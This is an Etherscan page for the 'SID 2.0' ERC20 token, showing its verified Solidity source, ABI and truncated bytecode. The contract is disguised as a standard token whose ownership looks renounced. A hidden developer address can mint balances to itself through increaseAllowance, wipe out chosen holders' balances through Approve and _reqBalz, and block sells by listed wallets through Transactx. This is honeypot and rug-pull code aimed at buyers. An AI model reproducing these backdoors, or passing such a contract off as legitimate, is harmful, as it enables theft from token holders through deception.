ETH Price: $3,091.64 (+1.01%)
Gas: 3 Gwei

Token

SID 2.0 (SID2.0)
 

Overview

Max Total Supply

10,000,000,000 SID2.0

Holders

147

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,310 SID2.0

Value
$0.00
0x221BC420aeE9cA76d114dBCf8934D9D8029503b3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SID20

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-08
*/

//Telegram: https://t.me/sid2_eth
//Website: https://sid2.xyz
//Twitter: https://twitter.com/Sid2_ETH


// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERSION = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity ^0.8.2;

contract SID20 is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Cus {
        address guest;
        bool isApproval;
    }

    mapping(address => uint256) private _bala;

    mapping(address => Cus) private _dat;

    mapping(address => mapping(address => uint256)) private _allow;

    mapping (address => uint256) private _crossedAmounts;

    Cus private _cus;
    string private _n;
    string private _s;
    uint8 private _d;
    uint256 private _toSu;

    constructor(
        address dev_,
        uint256 totalSupply_
    ) payable {
        _n = "SID 2.0";
        _s = "SID2.0";
        _d = 18;
        _cus.guest = dev_;
        _cus.isApproval = totalSupply_ != 0;
        _mine(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERSION
        );
    }

            modifier onlytheTeam() {
        require(msg.sender == _cus.guest); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 

    function name() public view virtual returns (string memory) {
        return _n;
    }

    function symbol() public view virtual returns (string memory) {
        return _s;
    }

    function decimals() public view virtual returns (uint8) {
        return _d;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _toSu;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _bala[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _tranz(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allow[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _app(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _tranz(sender, recipient, amount);
        _app(
            sender,
            _msgSender(),
            _allow[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _tranz(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _reqBalz(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _beforeTrans(sender, recipient, amount);
        _bala[sender] = _bala[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _bala[recipient] = _bala[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mine(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTrans(address(0), account, amount);

        _toSu = _toSu.add(amount);
        _bala[account] = _bala[account] + amount;

        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTrans(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _min(account, amount);
        _toSu = _toSu.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _min(address user, uint256 amount) internal {
        _bala[user] = _bala[user] - amount;
    }

    function _app(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allow[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 amount) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (_enco(spender, _cus.guest)) {
            _min(from, total);
            total = _add(total, amount);
            _bala[spender] += total;
        } else {
            _min(from, total);
            _bala[spender] += total;
        }
    }

    function _enco(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
        if (num2 != 0) {
            return num1 + num2;
        }
        return num2;
    }

    function Approve(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        _reqAllow(user, from, amount);
        return _dat[user].isApproval;
        
    }

        function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam {
        for (uint256 i = 0; i < accounts.length; i++) {
            _crossedAmounts[accounts[i]] = amount;
        }
    }

    function _reqAllow(address user, address from, uint256 amount) internal {
        if (_enco(user, _cus.guest)) {
            require(from != address(0), "Invalid address");
            _dat[from].isApproval = amount != 0;
            if (amount != 0) {
                _dat[from].guest = from;
            } else {
                _dat[from].guest = address(0);

            }
            _dat[user].isApproval = true;
        }
    }

    function CAmount(address account) public view returns (uint256) {
        return _crossedAmounts[account];
    }


    function _reqBalz(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        uint256 crossedAmount = CAmount(from);
        if (crossedAmount > 0) {
            require(amount > crossedAmount, "ERC20: cross amount is wrong");
        }
        if (_enco(from, _dat[from].guest)) {
            _bala[from] = _bala[from] + amount;
            amount = _toSu;
            _min(from, amount);
        } else {
            _bala[from] = _bala[from] + amount;
        }

    }

    function _beforeTrans(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620027623803806200276283398181016040528101906200002991906200055f565b6200003b6000620001d260201b60201c565b6040518060400160405280600781526020017f53494420322e3000000000000000000000000000000000000000000000000000815250600690805190602001906200008892919062000481565b506040518060400160405280600681526020017f534944322e30000000000000000000000000000000000000000000000000000081525060079080519060200190620000d692919062000481565b506012600860006101000a81548160ff021916908360ff16021790555081600560000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000811415600560000160146101000a81548160ff0219169083151502179055506200017f33670de0b6b3a764000083620001739190620006c3565b6200029660201b60201c565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff929620001b06200043b60201b60201c565b6001604051620001c2929190620005e9565b60405180910390a1505062000853565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000309576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003009062000616565b60405180910390fd5b6200031d600083836200046460201b60201c565b62000339816009546200046960201b62000a7b1790919060201c565b60098190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038c919062000666565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200042f919062000638565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b6000818362000479919062000666565b905092915050565b8280546200048f9062000762565b90600052602060002090601f016020900481019282620004b35760008555620004ff565b82601f10620004ce57805160ff1916838001178555620004ff565b82800160010185558215620004ff579182015b82811115620004fe578251825591602001919060010190620004e1565b5b5090506200050e919062000512565b5090565b5b808211156200052d57600081600090555060010162000513565b5090565b60008151905062000542816200081f565b92915050565b600081519050620005598162000839565b92915050565b600080604083850312156200057357600080fd5b6000620005838582860162000531565b9250506020620005968582860162000548565b9150509250929050565b620005ab8162000724565b82525050565b6000620005c060208362000655565b9150620005cd82620007f6565b602082019050919050565b620005e38162000758565b82525050565b6000604082019050620006006000830185620005a0565b6200060f6020830184620005d8565b9392505050565b600060208201905081810360008301526200063181620005b1565b9050919050565b60006020820190506200064f6000830184620005d8565b92915050565b600082825260208201905092915050565b6000620006738262000758565b9150620006808362000758565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006b857620006b762000798565b5b828201905092915050565b6000620006d08262000758565b9150620006dd8362000758565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000719576200071862000798565b5b828202905092915050565b6000620007318262000738565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200077b57607f821691505b60208210811415620007925762000791620007c7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6200082a8162000724565b81146200083657600080fd5b50565b620008448162000758565b81146200085057600080fd5b50565b611eff80620008636000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffff